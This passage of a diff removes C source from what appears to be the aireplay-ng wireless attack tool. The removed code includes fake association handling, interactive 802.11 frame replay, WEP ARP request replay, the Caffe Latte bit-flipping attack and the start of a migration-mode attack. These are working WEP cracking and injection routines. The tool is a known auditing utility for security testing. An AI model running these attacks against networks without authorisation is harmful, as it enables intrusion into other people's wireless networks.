-							break;
-
-						case 12:
-							printf("Denied (code 12), wrong ESSID or WPA ?\n");
-							break;
-
-						default:
-							printf("Association denied (code %d)\n", n);
-							break;
-					}
-
-					sleep(3);
-					challengelen = 0;
-					continue;
-				}
-
-				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
-				printf("Association successful :-) (AID: %d)\n", aid);
-				deauth_wait = 3;
-				fflush(stdout);
-
-				tt = time(NULL);
-				tr = time(NULL);
-
-				state = 6; /* assoc. done */
-			}
-
-			/* check if we got an reassociation response */
-
-			if (h80211[0] == 0x30 && state == 8)
-			{
-				printf("\n");
-				state = 7;
-				PCT;
-
-				if (caplen < 30)
-				{
-					printf("Error: packet length < 30 bytes\n");
-					sleep(3);
-					challengelen = 0;
-					continue;
-				}
-
-				n = h80211[26] + (h80211[27] << 8);
-
-				if (n != 0)
-				{
-					switch (n)
-					{
-						case 1:
-							printf("Denied (code  1), is WPA in use ?\n");
-							break;
-
-						case 10:
-							printf("Denied (code 10), open (no WEP) ?\n");
-							break;
-
-						case 12:
-							printf("Denied (code 12), wrong ESSID or WPA ?\n");
-							break;
-
-						default:
-							printf("Reassociation denied (code %d)\n", n);
-							break;
-					}
-
-					sleep(3);
-					challengelen = 0;
-					continue;
-				}
-
-				aid = (((h80211[29] << 8) != 0 || (h80211[28])) & 0x3FFF);
-				printf("Reassociation successful :-) (AID: %d)\n", aid);
-				deauth_wait = 3;
-				fflush(stdout);
-
-				tt = time(NULL);
-				tr = time(NULL);
-
-				state = 6; /* reassoc. done */
-			}
-		}
-	}
-
-	return (0);
-}
-
-static int do_attack_interactive(void)
-{
-	int caplen, n;
-	int mi_b, mi_s, mi_d;
-	struct timeval tv;
-	struct timeval tv2;
-	float f, ticks[3];
-	unsigned char bssid[6];
-	unsigned char smac[6];
-	unsigned char dmac[6];
-
-read_packets:
-
-	if (capture_ask_packet(&caplen, 0) != 0) return (1);
-
-	/* rewrite the frame control & MAC addresses */
-
-	switch (h80211[1] & 3)
-	{
-		case 0:
-			mi_b = 16;
-			mi_s = 10;
-			mi_d = 4;
-			break;
-		case 1:
-			mi_b = 4;
-			mi_s = 10;
-			mi_d = 16;
-			break;
-		case 2:
-			mi_b = 10;
-			mi_s = 16;
-			mi_d = 4;
-			break;
-		default:
-			mi_b = 10;
-			mi_d = 16;
-			mi_s = 24;
-			break;
-	}
-
-	if (memcmp(opt.r_bssid, NULL_MAC, 6) == 0)
-		memcpy(bssid, h80211 + mi_b, 6);
-	else
-		memcpy(bssid, opt.r_bssid, 6);
-
-	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
-		memcpy(smac, h80211 + mi_s, 6);
-	else
-		memcpy(smac, opt.r_smac, 6);
-
-	if (memcmp(opt.r_dmac, NULL_MAC, 6) == 0)
-		memcpy(dmac, h80211 + mi_d, 6);
-	else
-		memcpy(dmac, opt.r_dmac, 6);
-
-	if (opt.r_fctrl != -1)
-	{
-		h80211[0] = opt.r_fctrl >> 8;
-		h80211[1] = opt.r_fctrl & 0xFF;
-
-		switch (h80211[1] & 3)
-		{
-			case 0:
-				mi_b = 16;
-				mi_s = 10;
-				mi_d = 4;
-				break;
-			case 1:
-				mi_b = 4;
-				mi_s = 10;
-				mi_d = 16;
-				break;
-			case 2:
-				mi_b = 10;
-				mi_s = 16;
-				mi_d = 4;
-				break;
-			default:
-				mi_b = 10;
-				mi_d = 16;
-				mi_s = 24;
-				break;
-		}
-	}
-
-	memcpy(h80211 + mi_b, bssid, 6);
-	memcpy(h80211 + mi_s, smac, 6);
-	memcpy(h80211 + mi_d, dmac, 6);
-
-	/* loop resending the packet */
-
-	/* Check if airodump-ng is running. If not, print that message */
-	printf("You should also start airodump-ng to capture replies.\n\n");
-
-	signal(SIGINT, sighandler);
-	ctrl_c = 0;
-
-	memset(ticks, 0, sizeof(ticks));
-
-	nb_pkt_sent = 0;
-
-	while (1)
-	{
-		if (ctrl_c) goto read_packets;
-
-		/* wait for the next timer interrupt, or sleep */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				return (1);
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			/* we can't trust usleep, since it depends on the HZ */
-
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000 / RTC_RESOLUTION);
-			ticks[1] += f / (1000000 / RTC_RESOLUTION);
-			ticks[2] += f / (1000000 / RTC_RESOLUTION);
-		}
-
-		/* update the status line */
-
-		if (ticks[1] > RTC_RESOLUTION / 10)
-		{
-			ticks[1] = 0;
-			printf("\rSent %lu packets...(%d pps)",
-				   nb_pkt_sent,
-				   (int) ((double) nb_pkt_sent
-						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
-			fflush(stdout);
-			erase_line(0);
-			printf("\r");
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION < 1) continue;
-
-		/* threshold reached */
-
-		ticks[2] = 0;
-
-		if (nb_pkt_sent == 0) ticks[0] = 0;
-
-		if (send_packet(h80211, caplen) < 0) return (1);
-
-		if (((double) ticks[0] / (double) RTC_RESOLUTION) * (double) opt.r_nbpps
-			> (double) nb_pkt_sent)
-		{
-			if (send_packet(h80211, caplen) < 0) return (1);
-		}
-	}
-
-	return (0);
-}
-
-static int do_attack_arp_resend(void)
-{
-	int nb_bad_pkt;
-	int arp_off1, arp_off2;
-	int i, n, caplen, nb_arp, z;
-	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-
-	time_t tc;
-	float f, ticks[3];
-	struct timeval tv;
-	struct timeval tv2;
-	struct tm * lt;
-
-	FILE * f_cap_out;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-	struct ARP_req * arp;
-
-	/* capture only WEP data to broadcast address */
-
-	opt.f_type = 2;
-	opt.f_subtype = 0;
-	opt.f_iswep = 1;
-
-	memset(opt.f_dmac, 0xFF, 6);
-
-	if (memcmp(opt.r_smac, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a source MAC (-h).\n");
-		return (1);
-	}
-
-	if (getnet(NULL, 1, 1) != 0) return 1;
-
-	/* create and write the output pcap header */
-
-	gettimeofday(&tv, NULL);
-
-	pfh_out.magic = TCPDUMP_MAGIC;
-	pfh_out.version_major = PCAP_VERSION_MAJOR;
-	pfh_out.version_minor = PCAP_VERSION_MINOR;
-	pfh_out.thiszone = 0;
-	pfh_out.sigfigs = 0;
-	pfh_out.snaplen = 65535;
-	pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-	lt = localtime((const time_t *) &tv.tv_sec);
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("Saving ARP requests in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		return (1);
-	}
-
-	n = sizeof(struct pcap_file_header);
-
-	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed\n");
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	fflush(f_cap_out);
-
-	printf("You should also start airodump-ng to capture replies.\n");
-
-	if (opt.port_in <= 0)
-	{
-		/* avoid blocking on reading the socket */
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			fclose(f_cap_out);
-			return (1);
-		}
-	}
-
-	if (opt.ringbuffer)
-		arp = (struct ARP_req *) malloc(opt.ringbuffer
-										* sizeof(struct ARP_req));
-	else
-		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
-
-	memset(ticks, 0, sizeof(ticks));
-
-	tc = time(NULL) - 11;
-
-	nb_pkt_read = 0;
-	nb_bad_pkt = 0;
-	nb_ack_pkt = 0;
-	nb_arp = 0;
-	nb_arp_tot = 0;
-	arp_off1 = 0;
-	arp_off2 = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000.f * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-		}
-
-		if (ticks[1] > (RTC_RESOLUTION / 10.f))
-		{
-			ticks[1] = 0;
-			printf("\rRead %ld packets (got %ld ARP requests and %ld ACKs), "
-				   "sent %lu packets...(%d pps)\r",
-				   nb_pkt_read,
-				   nb_arp_tot,
-				   nb_ack_pkt,
-				   nb_pkt_sent,
-				   (int) ((double) nb_pkt_sent
-						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
-			fflush(stdout);
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
-		{
-			/* threshold reach, send one frame */
-
-			ticks[2] = 0;
-
-			if (nb_arp > 0)
-			{
-				if (nb_pkt_sent == 0) ticks[0] = 0;
-
-				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-				{
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				if (((double) ticks[0] / (double) RTC_RESOLUTION)
-						* (double) opt.r_nbpps
-					> (double) nb_pkt_sent)
-				{
-					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-					{
-						free(arp);
-						fclose(f_cap_out);
-						return (1);
-					}
-				}
-
-				if (++arp_off1 >= nb_arp) arp_off1 = 0;
-			}
-		}
-
-		/* read a frame, and check if it's an ARP request */
-
-		if (opt.s_file == NULL)
-		{
-			gettimeofday(&tv, NULL);
-
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			if (caplen < 0)
-			{
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-			if (caplen == 0) continue;
-		}
-		else
-		{
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			tv.tv_sec = pkh.tv_sec;
-			tv.tv_usec = pkh.tv_usec;
-
-			n = caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
-			{
-				printf("\r");
-				erase_line(0);
-				printf("Invalid packet length %d.\n", n);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				/* remove the prism header */
-
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-		}
-
-		nb_pkt_read++;
-
-		/* check if it's a disassociation or deauthentication packet */
-
-		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
-			&& !memcmp(h80211 + 4, opt.r_smac, 6))
-		{
-			nb_bad_pkt++;
-
-			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
-			{
-				erase_line(0);
-				printf("Notice: got a deauth/disassoc packet. Is the "
-					   "source MAC associated ?\n");
-
-				tc = time(NULL);
-				nb_bad_pkt = 0;
-			}
-		}
-
-		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.r_smac, 6))
-		{
-			nb_ack_pkt++;
-		}
-
-		/* check if it's a potential ARP request */
-
-		opt.f_minlen = opt.f_maxlen = 68;
-
-		if (filter_packet(h80211, caplen) == 0) goto add_arp;
-
-		opt.f_minlen = opt.f_maxlen = 86;
-
-		if (filter_packet(h80211, caplen) == 0)
-		{
-		add_arp:
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			switch (h80211[1] & 3)
-			{
-				case 1: /* ToDS */
-				{
-					/* keep as a ToDS packet */
-
-					memcpy(h80211 + 4, opt.f_bssid, 6);
-					memcpy(h80211 + 10, opt.r_smac, 6);
-					memcpy(h80211 + 16, opt.f_dmac, 6);
-
-					h80211[1] = 0x41; /* ToDS & WEP  */
-				}
-				break;
-				case 2: /* FromDS */
-				{
-					if (opt.r_fromdsinj)
-					{
-						/* keep as a FromDS packet */
-
-						memcpy(h80211 + 4, opt.f_dmac, 6);
-						memcpy(h80211 + 10, opt.f_bssid, 6);
-						memcpy(h80211 + 16, opt.r_smac, 6);
-
-						h80211[1] = 0x42; /* FromDS & WEP  */
-					}
-					else
-					{
-						/* rewrite header to make it a ToDS packet */
-
-						memcpy(h80211 + 4, opt.f_bssid, 6);
-						memcpy(h80211 + 10, opt.r_smac, 6);
-						memcpy(h80211 + 16, opt.f_dmac, 6);
-
-						h80211[1] = 0x41; /* ToDS & WEP  */
-					}
-				}
-				break;
-			}
-
-			// should be correct already, keep qos/wds status
-			//             h80211[0] = 0x08;   /* normal data */
-
-			/* if same IV, perhaps our own packet, skip it */
-
-			for (i = 0; i < nb_arp; i++)
-			{
-				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
-					break;
-			}
-
-			if (i < nb_arp) continue;
-
-			if (caplen > 128) continue;
-			/* add the ARP request in the ring buffer */
-
-			nb_arp_tot++;
-
-			/* Ring buffer size: by default: 8 ) */
-
-			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-			{
-				/* no more room, overwrite oldest entry */
-
-				memcpy(arp[arp_off2].buf, h80211, caplen);
-				arp[arp_off2].len = caplen;
-				arp[arp_off2].hdrlen = z;
-
-				if (++arp_off2 >= nb_arp) arp_off2 = 0;
-			}
-			else
-			{
-
-				if ((arp[nb_arp].buf = malloc(128)) == NULL)
-				{
-					perror("malloc failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				memcpy(arp[nb_arp].buf, h80211, caplen);
-				arp[nb_arp].len = caplen;
-				arp[nb_arp].hdrlen = z;
-				nb_arp++;
-
-				pkh.tv_sec = tv.tv_sec;
-				pkh.tv_usec = tv.tv_usec;
-				pkh.caplen = caplen;
-				pkh.len = caplen;
-
-				n = sizeof(pkh);
-
-				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				n = pkh.caplen;
-
-				if (fwrite(h80211, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				fflush(f_cap_out);
-			}
-		}
-	}
-
-	return (0);
-}
-
-static int do_attack_caffe_latte(void)
-{
-	int nb_bad_pkt;
-	int arp_off1, arp_off2;
-	int i, n, caplen, nb_arp, z;
-	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-	unsigned char flip[4096];
-
-	time_t tc;
-	float f, ticks[3];
-	struct timeval tv;
-	struct timeval tv2;
-	struct tm * lt;
-
-	FILE * f_cap_out;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-	struct ARP_req * arp;
-
-	/* capture only WEP data to broadcast address */
-
-	opt.f_type = 2;
-	opt.f_subtype = 0;
-	opt.f_iswep = 1;
-	opt.f_fromds = 0;
-
-	if (getnet(NULL, 1, 1) != 0) return 1;
-
-	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a BSSID (-b).\n");
-		return (1);
-	}
-	/* create and write the output pcap header */
-
-	gettimeofday(&tv, NULL);
-
-	pfh_out.magic = TCPDUMP_MAGIC;
-	pfh_out.version_major = PCAP_VERSION_MAJOR;
-	pfh_out.version_minor = PCAP_VERSION_MINOR;
-	pfh_out.thiszone = 0;
-	pfh_out.sigfigs = 0;
-	pfh_out.snaplen = 65535;
-	pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-	lt = localtime((const time_t *) &tv.tv_sec);
-
-	memset(strbuf, 0, sizeof(strbuf));
-	snprintf(strbuf,
-			 sizeof(strbuf) - 1,
-			 "replay_arp-%02d%02d-%02d%02d%02d.cap",
-			 lt->tm_mon + 1,
-			 lt->tm_mday,
-			 lt->tm_hour,
-			 lt->tm_min,
-			 lt->tm_sec);
-
-	printf("Saving ARP requests in %s\n", strbuf);
-
-	if ((f_cap_out = fopen(strbuf, "wb+")) == NULL)
-	{
-		perror("fopen failed");
-		return (1);
-	}
-
-	n = sizeof(struct pcap_file_header);
-
-	if (fwrite(&pfh_out, n, 1, f_cap_out) != 1)
-	{
-		perror("fwrite failed\n");
-		fclose(f_cap_out);
-		return (1);
-	}
-
-	fflush(f_cap_out);
-
-	printf("You should also start airodump-ng to capture replies.\n");
-
-	if (opt.port_in <= 0)
-	{
-		/* avoid blocking on reading the socket */
-		if (fcntl(dev.fd_in, F_SETFL, O_NONBLOCK) < 0)
-		{
-			perror("fcntl(O_NONBLOCK) failed");
-			fclose(f_cap_out);
-			return (1);
-		}
-	}
-
-	if (opt.ringbuffer)
-		arp = (struct ARP_req *) malloc(opt.ringbuffer
-										* sizeof(struct ARP_req));
-	else
-		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
-
-	memset(ticks, 0, sizeof(ticks));
-
-	tc = time(NULL) - 11;
-
-	nb_pkt_read = 0;
-	nb_bad_pkt = 0;
-	nb_ack_pkt = 0;
-	nb_arp = 0;
-	nb_arp_tot = 0;
-	arp_off1 = 0;
-	arp_off2 = 0;
-
-	while (1)
-	{
-		/* sleep until the next clock tick */
-
-		if (dev.fd_rtc >= 0)
-		{
-			if (read(dev.fd_rtc, &n, sizeof(n)) < 0)
-			{
-				perror("read(/dev/rtc) failed");
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-
-			ticks[0]++;
-			ticks[1]++;
-			ticks[2]++;
-		}
-		else
-		{
-			gettimeofday(&tv, NULL);
-			usleep(1000000 / RTC_RESOLUTION);
-			gettimeofday(&tv2, NULL);
-
-			f = 1000000 * (float) (tv2.tv_sec - tv.tv_sec)
-				+ (float) (tv2.tv_usec - tv.tv_usec);
-
-			ticks[0] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[1] += f / (1000000.f / RTC_RESOLUTION);
-			ticks[2] += f / (1000000.f / RTC_RESOLUTION);
-		}
-
-		if (ticks[1] > (RTC_RESOLUTION / 10.f))
-		{
-			ticks[1] = 0;
-			printf("\rRead %ld packets (%ld ARPs, %ld ACKs), "
-				   "sent %lu packets...(%d pps)\r",
-				   nb_pkt_read,
-				   nb_arp_tot,
-				   nb_ack_pkt,
-				   nb_pkt_sent,
-				   (int) ((double) nb_pkt_sent
-						  / ((double) ticks[0] / (double) RTC_RESOLUTION)));
-			fflush(stdout);
-		}
-
-		if ((ticks[2] * opt.r_nbpps) / RTC_RESOLUTION >= 1)
-		{
-			/* threshold reach, send one frame */
-
-			ticks[2] = 0;
-
-			if (nb_arp > 0)
-			{
-				if (nb_pkt_sent == 0) ticks[0] = 0;
-
-				if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-				{
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-				if (((double) ticks[0] / (double) RTC_RESOLUTION)
-						* (double) opt.r_nbpps
-					> (double) nb_pkt_sent)
-				{
-					if (send_packet(arp[arp_off1].buf, arp[arp_off1].len) < 0)
-					{
-						free(arp);
-						fclose(f_cap_out);
-						return (1);
-					}
-				}
-
-				if (++arp_off1 >= nb_arp) arp_off1 = 0;
-			}
-		}
-
-		/* read a frame, and check if it's an ARP request */
-
-		if (opt.s_file == NULL)
-		{
-			gettimeofday(&tv, NULL);
-
-			caplen = read_packet(h80211, sizeof(h80211), NULL);
-
-			if (caplen < 0)
-			{
-				free(arp);
-				fclose(f_cap_out);
-				return (1);
-			}
-
-			if (caplen == 0) continue;
-		}
-		else
-		{
-			n = sizeof(pkh);
-
-			if (fread(&pkh, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.magic == TCPDUMP_CIGAM)
-			{
-				SWAP32(pkh.caplen);
-				SWAP32(pkh.len);
-			}
-
-			tv.tv_sec = pkh.tv_sec;
-			tv.tv_usec = pkh.tv_usec;
-
-			n = caplen = pkh.caplen;
-
-			if (n <= 0 || n > (int) sizeof(h80211) || n > (int) sizeof(tmpbuf))
-			{
-				printf("\r");
-				erase_line(0);
-				printf("Invalid packet length %d.\n", n);
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (fread(h80211, n, 1, dev.f_cap_in) != 1)
-			{
-				opt.s_file = NULL;
-				continue;
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PRISM_HEADER)
-			{
-				/* remove the prism header */
-
-				if (h80211[7] == 0x40)
-					n = 64;
-				else
-					n = *(int *) (h80211 + 4);
-
-				if (n < 8 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_RADIOTAP_HDR)
-			{
-				/* remove the radiotap header */
-
-				n = *(unsigned short *) (h80211 + 2);
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-
-			if (dev.pfh_in.linktype == LINKTYPE_PPI_HDR)
-			{
-				/* remove the PPI header */
-
-				n = le16_to_cpu(*(unsigned short *) (h80211 + 2));
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				/* for a while Kismet logged broken PPI headers */
-				if (n == 24
-					&& le16_to_cpu(*(unsigned short *) (h80211 + 8)) == 2)
-					n = 32;
-
-				if (n <= 0 || n >= (int) caplen) continue;
-
-				memcpy(tmpbuf, h80211, caplen);
-				caplen -= n;
-				memcpy(h80211, tmpbuf + n, caplen);
-			}
-		}
-
-		nb_pkt_read++;
-
-		/* check if it's a disas. or deauth packet */
-
-		if ((h80211[0] == 0xC0 || h80211[0] == 0xA0)
-			&& !memcmp(h80211 + 4, opt.r_smac, 6))
-		{
-			nb_bad_pkt++;
-
-			if (nb_bad_pkt > 64 && time(NULL) - tc >= 10)
-			{
-				erase_line(0);
-				printf("Notice: got a deauth/disassoc packet. Is the "
-					   "source MAC associated ?\n");
-
-				tc = time(NULL);
-				nb_bad_pkt = 0;
-			}
-		}
-
-		if (h80211[0] == 0xD4 && !memcmp(h80211 + 4, opt.f_bssid, 6))
-		{
-			nb_ack_pkt++;
-		}
-
-		/* check if it's a potential ARP request */
-
-		opt.f_minlen = opt.f_maxlen = 68;
-
-		if (filter_packet(h80211, caplen) == 0) goto add_arp;
-
-		opt.f_minlen = opt.f_maxlen = 86;
-
-		if (filter_packet(h80211, caplen) == 0)
-		{
-		add_arp:
-			z = ((h80211[1] & 3) != 3) ? 24 : 30;
-			if ((h80211[0] & 0x80) == 0x80) /* QoS */
-				z += 2;
-
-			switch (h80211[1] & 3)
-			{
-				case 0: /* ad-hoc */
-				{
-					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
-					{
-						/* rewrite to an ad-hoc packet */
-
-						memcpy(h80211 + 4, BROADCAST, 6);
-						memcpy(h80211 + 10, opt.r_smac, 6);
-						memcpy(h80211 + 16, opt.f_bssid, 6);
-
-						h80211[1] = 0x40; /* WEP  */
-					}
-					else
-					{
-						nb_arp_tot++;
-						continue;
-					}
-
-					break;
-				}
-				case 1: /* ToDS */
-				{
-					if (memcmp(h80211 + 16, BROADCAST, 6) == 0)
-					{
-						/* rewrite to a FromDS packet */
-
-						memcpy(h80211 + 4, BROADCAST, 6);
-						memcpy(h80211 + 10, opt.f_bssid, 6);
-						memcpy(h80211 + 16, opt.f_bssid, 6);
-
-						h80211[1] = 0x42; /* ToDS & WEP  */
-					}
-					else
-					{
-						nb_arp_tot++;
-						continue;
-					}
-
-					break;
-				}
-				default:
-					continue;
-			}
-
-			//             h80211[0] = 0x08;   /* normal data */
-
-			/* if same IV, perhaps our own packet, skip it */
-
-			for (i = 0; i < nb_arp; i++)
-			{
-				if (memcmp(h80211 + z, arp[i].buf + arp[i].hdrlen, 4) == 0)
-					break;
-			}
-
-			if (i < nb_arp) continue;
-
-			if (caplen > 128) continue;
-			/* add the ARP request in the ring buffer */
-
-			nb_arp_tot++;
-
-			/* Ring buffer size: by default: 8 ) */
-
-			if (nb_arp >= opt.ringbuffer && opt.ringbuffer > 0)
-				continue;
-			else
-			{
-
-				if ((arp[nb_arp].buf = malloc(128)) == NULL)
-				{
-					perror("malloc failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				memset(flip, 0, 4096);
-
-				//                 flip[49-24-4] ^= ((rand() % 255)+1); //flip
-				//                 random bits in last byte of sender MAC
-				//                 flip[53-24-4] ^= ((rand() % 255)+1); //flip
-				//                 random bits in last byte of sender IP
-				flip[z + 21]
-					^= ((rand() % 255)
-						+ 1); // flip random bits in last byte of sender MAC
-				flip[z + 25]
-					^= ((rand() % 255)
-						+ 1); // flip random bits in last byte of sender IP
-
-				add_crc32_plain(flip, caplen - z - 4 - 4);
-				for (i = 0; i < caplen - z - 4; i++)
-					(h80211 + z + 4)[i] ^= flip[i];
-
-				memcpy(arp[nb_arp].buf, h80211, caplen);
-				arp[nb_arp].len = caplen;
-				arp[nb_arp].hdrlen = z;
-				nb_arp++;
-
-				pkh.tv_sec = tv.tv_sec;
-				pkh.tv_usec = tv.tv_usec;
-				pkh.caplen = caplen;
-				pkh.len = caplen;
-
-				n = sizeof(pkh);
-
-				if (fwrite(&pkh, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				n = pkh.caplen;
-
-				if (fwrite(h80211, n, 1, f_cap_out) != 1)
-				{
-					perror("fwrite failed");
-					free(arp);
-					fclose(f_cap_out);
-					return (1);
-				}
-
-				fflush(f_cap_out);
-			}
-		}
-	}
-	fclose(f_cap_out);
-	return (0);
-}
-
-static int do_attack_migmode(void)
-{
-	int nb_bad_pkt;
-	int arp_off1, arp_off2;
-	int i, n, caplen, nb_arp, z;
-	long nb_pkt_read, nb_arp_tot, nb_ack_pkt;
-	unsigned char flip[4096];
-	unsigned char senderMAC[6];
-
-	time_t tc;
-	float f, ticks[3];
-	struct timeval tv;
-	struct timeval tv2;
-	struct tm * lt;
-
-	FILE * f_cap_out;
-	struct pcap_file_header pfh_out;
-	struct pcap_pkthdr pkh;
-	struct ARP_req * arp;
-
-	if (opt.ringbuffer)
-		arp = (struct ARP_req *) malloc(opt.ringbuffer
-										* sizeof(struct ARP_req));
-	else
-		arp = (struct ARP_req *) malloc(sizeof(struct ARP_req));
-
-	if (arp == NULL) return 1;
-
-	/* capture only WEP data to broadcast address */
-
-	opt.f_type = 2;
-	opt.f_subtype = 0;
-	opt.f_iswep = 1;
-	opt.f_fromds = 1;
-
-	if (getnet(NULL, 1, 1) != 0)
-	{
-		free(arp);
-		return 1;
-	}
-
-	if (memcmp(opt.f_bssid, NULL_MAC, 6) == 0)
-	{
-		printf("Please specify a BSSID (-b).\n");
-		free(arp);
-		return (1);
-	}
-	/* create and write the output pcap header */
-
-	gettimeofday(&tv, NULL);
-
-	pfh_out.magic = TCPDUMP_MAGIC;
-	pfh_out.version_major = PCAP_VERSION_MAJOR;
-	pfh_out.version_minor = PCAP_VERSION_MINOR;
-	pfh_out.thiszone = 0;
-	pfh_out.sigfigs = 0;
-	pfh_out.snaplen = 65535;
-	pfh_out.linktype = LINKTYPE_IEEE802_11;
-
-	lt = localtime((const time_t *) &tv.tv_sec);
-
